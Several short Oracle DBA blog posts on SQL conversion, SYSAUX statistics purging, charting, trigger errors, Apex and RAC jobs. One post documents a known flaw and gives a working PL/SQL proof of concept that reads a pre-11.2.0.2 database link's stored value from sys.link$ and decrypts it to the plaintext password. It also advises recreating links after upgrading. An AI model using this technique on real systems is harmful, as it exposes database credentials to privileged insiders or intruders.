Hi all!
I was asked to make a conversion from T-SQL (MSSQL) Procedure to PL/PGSQL. Regarding how boring is this task, the follow link helped me:
http://www.sqlines.com/online
I highly recommend it. The site has a commercial solution to convert all database, but some code can be converted online for free. 🙂
The conversion not fixed at all, but make a good part of the work… And all help is helpful…
Hi all!
The post Purge SYSAUX Tablespace, made on Fabruary 8this, is yet being high accessed. So, if you’re interested, here it goes another post about:
Last week I supported a database was not purging statistics through MMON job, because is timeouting. Worst than simply that, the database is not purging statistics since 2012 and SYSAUX was huge!
To understand: By default, the MMON performs the automatic purge that removes all history older than:
1) current time – statistics history retention (by default 31 days)
2) time of recent analyze in the system – 1
MMON performs the purge of the optimizer stats history automatically, but it has an internal limit of 5 minutes to perform this job. If the operation takes more than 5 minutes, then it is aborted and stats not purged.
The problem was very clear in alert.log, through the entry:
Unexpected error from flashback database MMON timeout action Errors in file /oracle/diag/rdbms/oracle/trace/oracle_mmon_1234567.trc: ORA-12751: cpu time or run time policy violation
But it’s happening since 2012! How to address that?
Continue reading
Hi all,
It’s not a new vulnerability, but a good thing to have personal note about it. Besides the security problem, it can save you from situations you need but don’t have the database link password.
It works only if the database link was created pre-11.2.0.2.
The vulnerability only is exposed if user has one of the follow privileges:
SYS
SYSDBA
DBA
SYS WITHOUT SYSDBA
SYSASM
EXP_FULL_DATABASE
DATAPUMP_EXP_FULL_DATABASE
DATAPUMP_IMP_FULL_DATABASE
Starting with 11.2.0.2, Oracle changed the hashes format for database link passwords, solving this vulnerability. But it only apply to dblinks created in this version or higher.
If you have dblink created when database was on 11.2.0.1, for example, and upgrade the database for 11.2.0.4, the problem remains until you recreate the database link.
So, if you are upgrading database from 11.2.0.1 or lower to 11.2.0.2 or higher, remember to reacreate database links!
The vulnerability was exposed in 2012 by Paul Wright. Here is his PoC.
And there is his post.
To make it different, below I made the same test (using a PLSQL block, to make it prettier) with an upgraded database, from 11.2.0.1 to 11.2.0.4:
testdb11204> select passwordx from sys.link$ where name='MY_DBLINK';
PASSWORDX
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0540C5B8090D021649C5C614E8E0C242AF33F71C08C535900C
1 row selected.
testdb11204> set serveroutput on
testdb11204> declare
2 db_link_password varchar2(100);
3 begin
4 db_link_password := '0540C5B8090D021649C5C614E8E0C242AF33F71C08C535900C';
5 dbms_output.put_line ('Password: ' || utl_raw.cast_to_varchar2 ( dbms_crypto.decrypt ( substr (db_link_password, 19) , dbms_crypto.DES_CBC_PKCS5 , substr (db_link_password, 3, 16) ) ) );
6 end;
7 /
Password: P4SSW0RD
Note that the simple upgrade does not solve the question. Is needed to recreate database link.
Matheus.
Hi all,
Since last post, some people asked me about how to make the charts using PL/SQL Developer. It basically works for every kind of query/data, like MS Excel.
I’d recommend you to use with historic data, setting time as “X” axis.
Here the example for the post Oracle TPS: Evaluating Transaction per Second:
And get:
PL/SQL Developer is a commercial tool of Allround Automations.
You can access more information about licensing here.
Have a nice day!
Matheus.
No!
This is not a super-table nor a x-table (X-Men joke, this was awfull, I know… I’m sorry).
ORA-04091: Table "TABLE NAME" is Mutating, Trigger/Function may not see it ORA-06512: em "TRC_INSERT_TABLE", line 14 ORA-04088: error during execution of trigger 'TRC_INSERT_TABLE'
Very interesting. But not hard to understand. The cause is that the trigger (or a user defined plsql function that is referenced in this statement) attempted to look at (or modify) a table that was in the middle of being modified by the statement which fired it.
In other words, your trying to read a data the you are modifying. The obviously cause an inconsistency, the reason to this error. The data is “mutant”. But the error could be less annoying, right? Oracle and his jokes…
The solution is to rewrite the trigger to not use the table, or, in some situation, you can use an autonomous transaction, to turn it independent. It can be done using the clause PRAGMA AUTONOMOUS_TRANSACTION.
This FAQ can be useful to you: http://www.orafaq.com/wiki/Autonomous_transaction
Matheus.
Hi people!
That’s my first post and I would like introduce me and this great tool what I will talk about here, at this site, but Let’s start about Oracle Application Express, or Apex, which is probably your most intention here! You can read about my history with Apex in the end of this article.
Oracle Apex is a development tool that enables you to build applications using only your web browser, using basically PL-SQL, this familiarity helps to create departmental applications. Even DBA’s can create good web applications easily. Apex is not a new tool, was first released on 2006, and previously it was called HTML DB. After 10 years of development, offers a modern IDE, and with more dedication, you can use to build complex solutions using CSS and JavaScript.
Apex also comes with a entire system to manage your development life cycle. Using the Team Development it is possible to track your project progress from brainstorm to tracking bugs and continuous maintenances.
You can start using and testing Oracle Apex right now, just accessing apex.oracle.com and creating your own workspace. Just click Get Started and select Free Workspace. Remember that should be used for educational propose.
By the way, in the next weeks and some articles from now, I intend to write about how to create an entire application, describing most of standards options and explaining Oracle Apex in details.
I start using Apex in version 2, when the standard templates produces applications that looked like Enterprise Manager some years ago. The latest version 5.02 was released in October 2015. The Apex 5 has a revolutionary IDE, which is in the same way powerful, intuitive, clean and easy to use.
Enjoy and welcome to Apex World! There is an active community on OTN that supports mostly users needs and questions through discussion web forums.
Cassiano.
Sometimes you want to run something just in one node of the RAC. Here is an example to do it:
create or replace procedure USER_JOB.PRC_SOMETHING is begin -- do something null; end; /
begin sys.dbms_scheduler.create_job(job_name => 'USER_JOB.JOB_SOMETHING', job_type => 'PLSQL_BLOCK', job_action => 'USER_JOB.PRC_SOMETHING;', start_date => sysdate, repeat_interval => 'Freq=Minutely;Interval=30', end_date => to_date(null), job_class => 'DEFAULT_JOB_CLASS', enabled => true, auto_drop => false, comments => 'Something Job.'); end; /
begin dbms_scheduler.set_attribute(name => 'USER_JOB.JOB_SOMETHING', attribute=>'INSTANCE_ID', value=> 1); end; /
Matheus.
